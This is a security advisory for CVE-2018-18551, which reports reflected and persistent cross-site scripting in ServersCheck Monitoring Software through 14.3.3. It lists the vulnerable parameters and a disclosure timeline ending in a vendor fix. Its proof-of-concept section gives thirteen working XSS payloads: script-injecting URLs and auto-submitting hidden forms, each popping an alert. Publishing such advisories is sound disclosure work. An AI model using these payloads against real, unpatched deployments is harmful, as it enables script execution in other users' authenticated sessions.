ServersCheck Monitoring Software through 14.3.3 Cross Site Scripting

2018.10.29
us hyp3rlinx (US) us
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2018-18551-SERVERSCHECK-MONITORING-SOFTWARE-CROSS-SITE-SCRIPTING.txt [+] ISR: ApparitionSec Greetz: ***Greetz: indoushka | Eduardo B.*** [Vendor] www.serverscheck.com [Product] ServersCheck Monitoring Software - through 14.3.3 Software for monitoring your edge computing infrastructure, network & servers. http://downloads.serverscheck.com/monitoring_software/setup.exe File hash: b7bffe4fc83b6a4586c099d6c62d8eeb [Vulnerability Type] Cross Site Scripting [CVE Reference] CVE-2018-18551 [Security Issue] ServersCheck Monitoring Software has Reflected and Persistent XSS entry points available in many locations allowing arbitrary code execution in the security context of the currently authenticated user. sensors.html status parameter sensors.html type parameter sensors.html device parameter report.html location parameter group_delete.html group parameter report_save.html query parameter sensors.html location parameter group_delete.html group parameter. [References] https://serverscheck.com/monitoring-software/release.asp [Exploit/POC] XSS 1) http://127.0.0.1:1272/sensors.html?status=%3Cscript%3Ealert(0)%3C/script%3E XSS 2) http://127.0.0.1:1272/sensors.html?type=%3Cscript%3Ealert(1)%3C/script%3E&location=%27 XSS 3) http://127.0.0.1:1272/sensors.html?device=%3Cscript%3Ealert(2)%3C/script%3E XSS 4) http://127.0.0.1:1272/report.html?location=&sensor_types=%3C%2Fh2%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch2%3E XSS 5) http://127.0.0.1:1272/group_delete.html?group=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E XSS 6) http://127.0.0.1:1272/report_save.html?query=%27%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E XSS 7) http://127.0.0.1:1272/sensors.html?location=&type=%3C%2Fli%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cli%3E XSS 8) http://127.0.0.1:1272/group_delete.html?group=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E XSS 9) <form action="http://127.0.0.1:1272/report.html" method="post"> <input type="hidden" name="datefrom" value="'/><script>alert(1)</script>"> <input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52"> <input type="hidden" name="location" value=""> <input type="hidden" name="sensor_types" value="CPUcontrol_sgw"> <script>document.forms[0].submit()</script> </form> XSS 10) <form action="http://127.0.0.1:1272/report.html" method="post"> <input type="hidden" name="datefrom" value="9%2F29%2F2018"> <input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52"> <input type="hidden" name="every" value="'><script>alert(1)</script>"> <input type="hidden" name="report_title" value="POC"> <input type="hidden" name="sensor_names" value=""> <input type="hidden" name="sensor_types" value="PING"> <input type="hidden" name="time_frame" value="4h"> <script>document.forms[0].submit()</script> </form> XSS 11) <form action="http://127.0.0.1:1272/report.html" method="post"> <input type="hidden" name="datefrom" value="9%2F29%2F2018"> <input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52"> <input type="hidden" name="every" value="0"> <input type="hidden" name="report_title" value="'><script>alert(1)</script>"> <input type="hidden" name="sensor_names" value=""> <input type="hidden" name="sensor_types" value="PING"> <input type="hidden" name="time_frame" value="4h"> <script>document.forms[0].submit()</script> </form> XSS 12) <form action="http://127.0.0.1:1272/report.html" method="post"> <input type="hidden" name="datefrom" value="9%2F29%2F2018"> <input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52"> <input type="hidden" name="every" value="0"> <input type="hidden" name="report_title" value="PWN"> <input type="hidden" name="sensor_names" value="'><script>alert(1)</script>"> <input type="hidden" name="sensor_types" value="PING"> <input type="hidden" name="time_frame" value="4h"> <script>document.forms[0].submit()</script> </form> 13 PERSISTENT XSS) http://127.0.0.1:1272/floorplan_editor.html?floorplan=16 PARAM lat & lng & location_name http://127.0.0.1:1272/location_save.html ;alert(1); [Network Access] Remote [Severity] Medium [Disclosure Timeline] Vendor Notification: October 6, 2018 Vendor acknowledgement: October 7, 2018 Vendor release v14.3.4 : October 7th, 2018 CVE assign by Mitre: October 21, 2018 October 22, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx


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